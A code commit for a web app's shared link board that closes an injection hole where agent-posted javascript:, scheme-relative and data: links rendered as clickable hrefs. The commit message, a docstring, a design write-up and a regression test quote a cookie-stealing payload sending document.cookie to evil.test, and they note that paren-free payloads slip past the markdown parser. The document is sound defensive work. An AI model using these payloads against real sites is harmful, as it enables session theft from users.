fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
This commit is contained in:
+37
-1
@@ -60,6 +60,39 @@ def link_entry_id(raw: str) -> str:
|
||||
return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]
|
||||
|
||||
|
||||
def is_safe_href(url: str) -> bool:
|
||||
"""Whether a board URL may be rendered as an `href` at all.
|
||||
|
||||
⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
|
||||
standing board and the operator clicks its rows, and nothing guarded the
|
||||
scheme: `javascript:document.location='http://evil.test/'+document.cookie`
|
||||
rendered as a clickable link in the Booth's own origin. Found by design-dev
|
||||
on the way past R2, in code R2 does not touch.
|
||||
|
||||
⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
|
||||
the markdown link regex, because the parens break `](...)`. That is an
|
||||
accident, not a guard, and a paren-free payload sails straight through. Do
|
||||
not re-test this with a payload that contains brackets.
|
||||
|
||||
`booth_target` already tests the scheme, but for a DIFFERENT question —
|
||||
which booth a URL names — so it refuses every off-board link too and cannot
|
||||
serve as this guard.
|
||||
|
||||
NEVER RAISES: a board row is arbitrary agent-written text and a predicate
|
||||
that raises on one row takes the whole page.
|
||||
"""
|
||||
try:
|
||||
parts = urlsplit((url or "").strip())
|
||||
except (ValueError, UnicodeDecodeError):
|
||||
return False
|
||||
# Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
|
||||
# and navigates off-site while looking like a path. An empty scheme is only
|
||||
# safe when it is genuinely relative.
|
||||
if not parts.scheme:
|
||||
return not parts.netloc
|
||||
return parts.scheme.lower() in ("http", "https")
|
||||
|
||||
|
||||
def parse_link_entries(text: str) -> list[dict]:
|
||||
"""Rows of the standing link board, newest last (posting order).
|
||||
|
||||
@@ -79,6 +112,8 @@ def parse_link_entries(text: str) -> list[dict]:
|
||||
"line": i,
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip(),
|
||||
# Derived ONCE here; no template decides whether a row is a link.
|
||||
"safe": is_safe_href(m.group("url") or ""),
|
||||
"who": (m.group("who") or "").strip(),
|
||||
"when": (m.group("when") or "").strip(),
|
||||
})
|
||||
@@ -109,7 +144,8 @@ def remove_link_entry(board: Path, entry_id: str) -> dict | None:
|
||||
if m:
|
||||
removed = {"id": entry_id, "raw": raw.rstrip("\n"),
|
||||
"desc": (m.group("desc") or "").strip(),
|
||||
"url": (m.group("url") or "").strip()}
|
||||
"url": (m.group("url") or "").strip(),
|
||||
"safe": is_safe_href(m.group("url") or "")}
|
||||
continue
|
||||
kept.append(raw)
|
||||
if removed is None:
|
||||
|
||||
@@ -240,7 +240,13 @@
|
||||
name="entry" value="{{ e.id }}" aria-pressed="{{ 'true' if e.pinned else 'false' }}"
|
||||
title="{{ 'unpin' if e.pinned else 'pin to top' }}">{{ '★' if e.pinned else '☆' }}</button>
|
||||
<div class="board-main">
|
||||
<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{% if e.safe %}<a class="board-link" href="{{ e.url }}" target="_blank" rel="noopener">{{ e.desc }}</a>
|
||||
{%- else -%}
|
||||
{# Refused, not hidden: the operator should see that something was posted
|
||||
and that we would not link it. `is_safe_href` decides, in links.py. #}
|
||||
<span class="board-link board-unsafe" title="refused: not an http(s) link">{{ e.desc }}</span>
|
||||
<span class="board-dead-tag">unsafe link refused</span>
|
||||
{%- endif %}
|
||||
<div class="board-url">{{ e.url }}{% if e.dead %} <span class="board-dead-tag">booth is gone</span>{% endif %}</div>
|
||||
</div>
|
||||
<div class="board-meta">
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
# The probe that nearly dismissed a live injection vector
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**The standing link board rendered agent-written hrefs with no scheme guard.**
|
||||
Seventeen handles append to `links.md` and the operator clicks its rows, so
|
||||
`javascript:document.location='http://evil.test/'+document.cookie` was a
|
||||
clickable link executing in the Booth's own origin. `//evil.test/x` and
|
||||
`data:text/html,…` rendered too.
|
||||
|
||||
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
|
||||
same hour: `links.py` derives `is_safe_href` once per row, the template links
|
||||
only when it is true, and a refused row still renders inert and labelled —
|
||||
the operator should see that something was posted and that we would not link it.
|
||||
|
||||
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
|
||||
|
||||
**We probed with `javascript:alert(1)`, watched it get refused, and almost
|
||||
closed the finding as already-guarded.**
|
||||
|
||||
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
|
||||
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
|
||||
and it refuses exactly the payload everybody reaches for first.
|
||||
`javascript:x=1` walks straight through.
|
||||
|
||||
**Generalise it: a negative result from the most obvious probe is the least
|
||||
trustworthy kind.** The canonical payload is canonical because it is memorable,
|
||||
not because it is representative — and a filter that happens to catch the
|
||||
memorable one looks exactly like a filter that works. The `is_safe_href`
|
||||
docstring now tells the next person not to re-probe it with anything containing
|
||||
brackets.
|
||||
|
||||
## The second trap: a guard that answers a different question
|
||||
|
||||
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
|
||||
guard. It answers *which booth does this URL name*, so it refuses every
|
||||
legitimate off-board link and can never serve as a render-safety test. Reading
|
||||
the codebase for "is there a scheme check" finds it and stops.
|
||||
|
||||
**Two things that look like the guard were in the way of finding there wasn't
|
||||
one.** That is what made this survive as long as it did.
|
||||
|
||||
## Shape of the fix, for the next one
|
||||
|
||||
Derived ONCE in `links.py` and carried on the row, not decided in the template —
|
||||
the same one-resolver discipline U1 states for item facts. A template that
|
||||
decides safety is a second place for the rule to be wrong.
|
||||
|
||||
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
|
||||
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
|
||||
format migration and that does not belong in the same hour as a merge. Recorded
|
||||
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.
|
||||
@@ -199,6 +199,7 @@ _As of 2026-09-22:_
|
||||
|
||||
## Recent decisions
|
||||
|
||||
- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md`
|
||||
- `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md`
|
||||
- `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md`
|
||||
- `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
|
||||
|
||||
@@ -194,3 +194,12 @@ old = '''
|
||||
case 'ArrowRight': focus(at < 0 ? fromViewport() : at + 1);'''
|
||||
new = '''
|
||||
case 'ArrowRight': focus(at + 1);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the link board drops its href scheme guard"
|
||||
file = "booth/links.py"
|
||||
test = "tests/test_booth.py::test_the_link_board_refuses_to_render_a_script_href"
|
||||
old = '''
|
||||
return parts.scheme.lower() in ("http", "https")'''
|
||||
new = '''
|
||||
return True'''
|
||||
|
||||
@@ -1593,3 +1593,35 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path):
|
||||
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
assert app.state.templates.env.filters["dur"](3600) == "1h"
|
||||
|
||||
|
||||
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
|
||||
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
|
||||
|
||||
17 agent handles append to the standing board and the operator clicks its
|
||||
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
|
||||
about whether an href is safe to render, and nothing guarded the render.
|
||||
|
||||
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
|
||||
rejected — by the markdown link regex, because the parens break `](...)`.
|
||||
That is an accident, not a guard, and a paren-free payload sails through.
|
||||
|
||||
The row still RENDERS, because the operator should see that something was
|
||||
posted and refused; it just must not be a link."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
b.joinpath("links.md").write_text(
|
||||
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
|
||||
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||||
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
|
||||
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
|
||||
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
|
||||
)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/links/").text
|
||||
|
||||
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
|
||||
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
|
||||
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
|
||||
# refused, not hidden: the operator sees that it was posted
|
||||
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
|
||||
|
||||
Reference in New Issue
Block a user